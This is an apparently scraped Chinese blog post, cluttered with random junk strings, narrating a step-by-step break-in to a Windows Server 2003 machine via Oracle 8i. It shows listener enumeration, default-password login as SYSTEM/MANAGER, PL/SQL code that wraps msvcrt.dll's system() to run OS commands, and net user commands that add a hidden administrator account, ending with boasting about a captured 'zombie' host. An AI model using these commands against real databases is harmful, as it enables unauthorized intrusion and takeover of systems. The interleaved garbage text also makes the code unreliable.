一次通过Oracle8i入侵系统之旅
IXPUB技术博客h-OY1qn
图 1
&^-Yqf/?F.y0IXPUB技术博客d {w5s2~
9Du*qf(n2U!S0端口 1521 是 Oracle 的 TNS Listener 默认监听的端口,通过扫描报告还可以看到 Oracle 的版本为 8i.现在还不 知道对方的操作系统版本,看到主机还开放了终端服务,直接连上去看下操作系统版本.如图 2,
图 2
lZm\A0IXPUB技术博客 I^?f0dd!Q{0~Q8l确定操作系统版本为 Windows Server 2003 企业版。Oracle 10g 之前的版本默认情况下是允许远程管理 TNS Listener 的,这台主机的 Oracle 版本为 8i,我们通过 TNS Listenner 来收集下更多的详细信息.如果本地安装了 Oracle 可以直接调用 Lsnrctl 连接到测试的主机,如图 3 所示:
.x.^)F8|h L/D0图 3IXPUB技术博客)Lw @#\dJ
5n+hY zW-{8b0d Na6Z!p0通过输入"status "命令我们可以得到 oracle 详细版本(8.1.70.0),操作系统(Windows),跟踪级别为 OFF(说明没 有开启审核),安全性为 OFF(说明没有设置 Listener 口令),日志文件的绝对路径(判断 Oracle 安装路径),数据库的 SID(ccdr).
&Fn(gGt0IXPUB技术博客%r'nf|G@要远程管理 Oracle, 需要知道 IP,数据库的 SID,和连接的用户名和密码.IP 和 SID 我们已经知道了. 接下来用oscanner 工具扫描下要测试主机是否存在默认的密码.如图 4 所示.
0^O;MiN e3Gt fE0IXPUB技术博客$lM-T[2DOP2M'o0H2G
l*X'FC F0图 4IXPUB技术博客y?;dPwp,S
EI5MD^n!X-|0看来 管 理 员 安 装 完 Oracle8i 后就 没 有 进 行 进 一 步 的 安 全 配 置 , 所有 的 用 户 名 密 码 都 是 默 认 的 . 在IXPUB技术博客)Oeo C6^v)Y3V6oK
Oracle 中,SYS/SYSTEM 都是具有 DBA 权限的帐户,我这里选择使用 SYSTEM/MA NAGER 来连接数据库.
$X7b4V[%b8^"^R ^0在本地用 Sqlplus 连接到目标 Oracle 数据库,命令为:IXPUB技术博客]N{;H/F)[(@
SqlPlus system/manager@//victimip:1521/ccdr
5V W5[ [1`B9e#}/l;a5Z0IXPUB技术博客PI*N ~!m/p*?:i8I,
RB'V| q#?O7A3a(^n0连接成功 后,可以通过 PL/SQL 来运行 OS 命令,首先需要创建库来定位 msvcrt.dll 文件.这里需要使用完整的路径,通过刚才
Bq$?Lq0对主机的 查点 我们 已经 知道 操作 系统为 win2003, 如果系统 安装 到 C 盘的话 , 那 msvcrt.dll 默认路径 就为IXPUB技术博客2N/Z}.f/Cj G*T
c:\windows\system32\msvcrt.dll.创建库的命令如下:IXPUB技术博客O@2v;vHy0T/yc
S }
CREATE OR REPLACE LIBRARY exec_shell AS ’c:\windows\system32\msvcrt.dll’;IXPUB技术博客l&nz9@pg
@^gw-a,x W0接下来写一个过程来调用 msvcrt.dll 里的 system()函数.命令如下:IXPUB技术博客qF2U1av Krd
CREATE OR REPLACE PACKAGE oracmd ISIXPUB技术博客0JH*E
y'j&Y
PROCEDURE exec (cmdstring IN CHAR);IXPUB技术博客E'BH)E,[*Zl&`xQ;F(E
end oracmd;IXPUB技术博客o`l
v#Nu~V
/IXPUB技术博客q%BM"EGamg3H1V-^
CREATE ORE REPLACE PACKAGE BODY oracmd ISIXPUB技术博客@B8h+[%SSPs7i(J
PROCEDURE exec (cmdstring IN CHAR)IXPUB技术博客/c@
g5B$M4i!cFt
IS EXTERNALIXPUB技术博客2S-_'?3^1LM}N
NAME "system"IXPUB技术博客3h9Q4{'J$Y)T
P
LIBRARY exec_shell
QM/NS~4h7c{+c0LANGUAGE C;
O'[h
M7I3R*T0end oracmd;IXPUB技术博客0G#N
|#p;I"a
/IXPUB技术博客(}/ykY#r3W:Zli
创建完后,就可以运行 OS 命令了.由于主机已经开放了终端服务,所以我这里添加个管理员,然后连接服务器.命 令如下:IXPUB技术博客`Yq'i8Y
}q!h
exec oracmd.exec (’net user mickey imissyou /add’);IXPUB技术博客wqm1VI-B
C4t
\8]OU
exec oracmd.exec (’net localgroup administrators mickey /add’);IXPUB技术博客9LS
Ia u)IOr
帐户创建完成后,如图 5,就可以连接终端服务了,一台肉鸡到手了.:-)